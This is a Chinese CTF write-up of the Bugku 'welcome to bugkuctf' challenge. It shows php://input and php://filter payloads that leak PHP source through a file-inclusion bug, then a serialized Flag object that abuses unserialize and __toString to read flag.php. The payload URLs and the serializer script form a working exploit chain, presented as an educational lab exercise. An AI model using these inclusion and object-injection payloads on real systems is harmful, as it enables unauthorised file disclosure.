原题内容:

http://120.24.86.145:8006/test1/

首先bp一下,可见提示源码:

<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];  if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  echo "hello admin!<br>";  include($file); //hint.php
}else{  echo "you are not admin ! ";
}  -->  

首先,分析代码获取四个需求:

1.三个传参

2.$user存在且不为空,

3.读取$user文件,内容为welcome to the bugkuctf,

4.$file要求为hint.php,将其导入

其实比较熟悉就知道两个点可以利用了,php://input与php://filter

php不提了,之前的博客中讲解过,不懂得可以前去看一下

CTF/CTF练习平台-flag在index里【php://filter的利用】

这里讲一下php://input

当传进去的参数作为文件名变量去打开文件时,可以将参数php://传进,同时post方式传进去值作为文件内容,供php代码执行时当做文件内容读取

这题的效果如下:

加上php://filter的利用,读取hint.php的内容

load url改为:

http://120.24.86.145:8006/test1/index.php?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php&password=

可得到base64加密的字符串:

PD9waHAgIA0KICANCmNsYXNzIEZsYWd7Ly9mbGFnLnBocCAgDQogICAgcHVibGljICRmaWxlOyAgDQogICAgcHVibGljIGZ1bmN0aW9uIF9fdG9zdHJpbmcoKXsgIA0KICAgICAgICBpZihpc3NldCgkdGhpcy0+ZmlsZSkpeyAgDQogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgDQoJCQllY2hvICI8YnI+IjsNCgkJcmV0dXJuICgiZ29vZCIpOw0KICAgICAgICB9ICANCiAgICB9ICANCn0gIA0KPz4gIA==

同理把hint.php改为index.php,顺路看看index的源码:

得到字符串:

PD9waHAgIA0KJHR4dCA9ICRfR0VUWyJ0eHQiXTsgIA0KJGZpbGUgPSAkX0dFVFsiZmlsZSJdOyAgDQokcGFzc3dvcmQgPSAkX0dFVFsicGFzc3dvcmQiXTsgIA0KICANCmlmKGlzc2V0KCR0eHQpJiYoZmlsZV9nZXRfY29udGVudHMoJHR4dCwncicpPT09IndlbGNvbWUgdG8gdGhlIGJ1Z2t1Y3RmIikpeyAgDQogICAgZWNobyAiaGVsbG8gZnJpZW5kITxicj4iOyAgDQogICAgaWYocHJlZ19tYXRjaCgiL2ZsYWcvIiwkZmlsZSkpeyANCgkJZWNobyAi5LiN6IO9546w5Zyo5bCx57uZ5L2gZmxhZ+WTpiI7DQogICAgICAgIGV4aXQoKTsgIA0KICAgIH1lbHNleyAgDQogICAgICAgIGluY2x1ZGUoJGZpbGUpOyAgIA0KICAgICAgICAkcGFzc3dvcmQgPSB1bnNlcmlhbGl6ZSgkcGFzc3dvcmQpOyAgDQogICAgICAgIGVjaG8gJHBhc3N3b3JkOyAgDQogICAgfSAgDQp9ZWxzZXsgIA0KICAgIGVjaG8gInlvdSBhcmUgbm90IHRoZSBudW1iZXIgb2YgYnVna3UgISAiOyAgDQp9ICANCiAgDQo/PiAgDQogIA0KPCEtLSAgDQokdXNlciA9ICRfR0VUWyJ0eHQiXTsgIA0KJGZpbGUgPSAkX0dFVFsiZmlsZSJdOyAgDQokcGFzcyA9ICRfR0VUWyJwYXNzd29yZCJdOyAgDQogIA0KaWYoaXNzZXQoJHVzZXIpJiYoZmlsZV9nZXRfY29udGVudHMoJHVzZXIsJ3InKT09PSJ3ZWxjb21lIHRvIHRoZSBidWdrdWN0ZiIpKXsgIA0KICAgIGVjaG8gImhlbGxvIGFkbWluITxicj4iOyAgDQogICAgaW5jbHVkZSgkZmlsZSk7IC8vaGludC5waHAgIA0KfWVsc2V7ICANCiAgICBlY2hvICJ5b3UgYXJlIG5vdCBhZG1pbiAhICI7ICANCn0gIA0KIC0tPiAg

解密得到代码:

#hint.php<?php  class Flag{//flag.php  public $file;  public function __tostring(){  if(isset($this->file)){  echo file_get_contents($this->file); echo "<br>";return ("good");}  }
}
?>  #index.php
<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];  if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  echo "hello friend!<br>";  if(preg_match("/flag/",$file)){ echo "不能现在就给你flag哦";exit();  }else{  include($file);   $password = unserialize($password);  echo $password;  }
}else{  echo "you are not the number of bugku ! ";
}  ?>  <!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];  if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  echo "hello admin!<br>";  include($file); //hint.php
}else{  echo "you are not admin ! ";
}  -->  

从上面获取的源码可得到如下信息:

1.提示hint.php中提示flag.php,从index.php可以看到对关键词flag进行了屏蔽

2.hint.php中定义了一个类Flag,很有意思的是中间有个 __tostring 方法,这个方法可以理解为将这个类作为字符串执行时会自动执行的一个函数

3. __tostring 方法执行时,将变量$file作为文件名输出文件内容,结合提示flag.php,猜测屏蔽的flag.php文件在此打开

4.在index.php源码中看到了$password的作用

这里走进了一个坑,一直在想办法绕过flag关键词的屏蔽,但是限制于php://fliter的格式,一直不得其解

正解应该是利用$password

之前说过Flag方法当做字符串执行时,会自动执行 __tostring 方法,注意到echo函数,只能输出一个或多个字符串,所以只要$password为Flag类型数据,且其中string类型的变量$file为flag.php即可

理解到这里,就懂了为啥多一个很奇怪的unserialize函数,其作用即为让你用字符串方式传递一个类

具体函数用法不多说,以前博客中有讲过,不懂可以去一看

实验吧-天网管理系统【php弱类型==与===的利用】

自己写了个php文件:

<?phpclass Flag{//flag.php  public $file;  }  $a = new Flag();$a->file = "flag.php";$a = serialize($a);print_r($a);
?>

执行得到O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

将其作为参数$password传进去,bp可得:

CTF/CTF练习平台-welcome to bugkuctf【php://filter及php://input】相关推荐

  1. ctf web5 练习_Writeup - CTF - WEB - 练习平台(123.206.31.85)

    签到题 这个直接加群就好了 Web2 打开这个页面,面对铺天盖地而来的滑稽,直接F12查看源代码 文件上传测试 虽然知道题目没那么简单,但是先上传一个PHP文件,看一下反应 点击上传后查看页面的返回情 ...

  2. [CTF] CTF入门指南

    CTF入门指南 何为CTF ? CTF(Capture The Flag)夺旗比赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式.CTF起源于1996年DEFCON全球黑客大会 ...

  3. 从零开始学习CTF——CTF基本概念

    这一系列把自己学习的CTF的过程详细写出来,方便大家学习时可以参考. 一.CTF简介 01」简介 中文一般译作夺旗赛(对大部分新手也可以叫签到赛),在网络安全领域中指的是网络安全技术人员之间进行技术竞 ...

  4. php字符长度函数漏洞 ctf,CTF中常见php-MD5()函数漏洞

    CTF中常见php-MD5()函数漏洞 1.数字与字符串之间的比较 var_dump( 0 == "a" ); var_dump( "0" == "a ...

  5. php的filter input,记一个php://filter和php://input的CTF题

    首先直接查看源码,可以获得题目中的提示 you are not the number of bugku ! 通过审计源码知道需求如下: 需要通过GET方式传递三个参数 必须存在$user 读取的$us ...

  6. php strlen ctf,CTF中的PHP反序列化漏洞简单分析

    [PHP] 纯文本查看 复制代码<?php class start_gg { public $mod1; public $mod2; public function __construct()  ...

  7. ctf php 流量分析题,CTF平台hackit题目分析与解答

    之前在网上经常看到很多的CTF的练习平台,在加上搞CTF比赛的学弟推荐了这个 CTF平台 .当时在网上看了一下,这个平台推荐的人还是很多的.这个平台是由一个白帽子个人开发的一个平台.趁着这个平台还没有 ...

  8. switchyomega插件_CTF|你所关注的CTFer都在用的插件合集【附:XXE补给+CTF训练集】...

    不看后悔系列,建议收藏 相信大家对 CTF 都不陌生了,今天为大家带来了一系列 CTF 必备 Chrome 插件. CTF 可能很多人想学 CTF,但又怕零基础学不懂.其实,CTF 并没有那么难. C ...

  9. 1月全球CTF比赛时间汇总来了!

    ● 从事网络安全行业工作,怎么能不参加一次CTF比赛了! 小编作为一个CTF比赛老鸟,以每次都能做出签到题为荣! 下面给大家分享一下1月份CTF比赛时间,比赛按时间先后排序,国内国外的都有哦!临近新年 ...

最新文章

  1. Ext.app.controller的refs
  2. wordpress媒体库上传含中文的文件名后,标题被重新编码。
  3. Web会话安全分析工具ProxyStrike
  4. Apache Avro
  5. 响应式编程知多少 | Rx.NET 了解下
  6. pip 安装 tensoflow
  7. php 压缩html css,PHP实现动态压缩js与css文件的方法
  8. [uva11174]村民排队 递推+组合数+线性求逆元
  9. 朴素贝叶斯python实现预测_Python朴素贝叶斯预测.PDF
  10. ubuntu安装后的一些操作
  11. Promise的resolve方法和reject方法
  12. Ansys 15.0 x64 安装
  13. 苹果退款_苹果退款有什么影响吗
  14. 小菜鸟的C++游戏编程学习日记(一)
  15. 什么是软件 驱动软件 什么是程序
  16. 被缠上了,小王问我怎么在 Spring Boot 中使用 JDBC 连接 MySQL
  17. mac 上安装git
  18. 如何在Apple CarPlay中使用Google Maps进行导航
  19. 登录企业邮箱入口,查看你不知道的企业公共邮箱优惠
  20. ex绅士_非凡绅士联盟...

热门文章

  1. 安装vim的最新版本
  2. 大数据决策领跑零售业
  3. 全网疯传!微信发原图暴露个人信息?微信高冷回应!真相来了...
  4. 怎么看电脑系统是64位还是32位
  5. 【iOS遇到的问题】switch控件--在设置switch按钮状态为on或者off,运行app,模拟器黑屏
  6. underflow 、overflow 下溢和上溢
  7. java HotSpot 内存管理白皮书
  8. JUL框架操作流程总结
  9. 内网计算机安全使用规则,局域网网络安全注意事项
  10. H.265及最新芯片模组技术现状和研究方向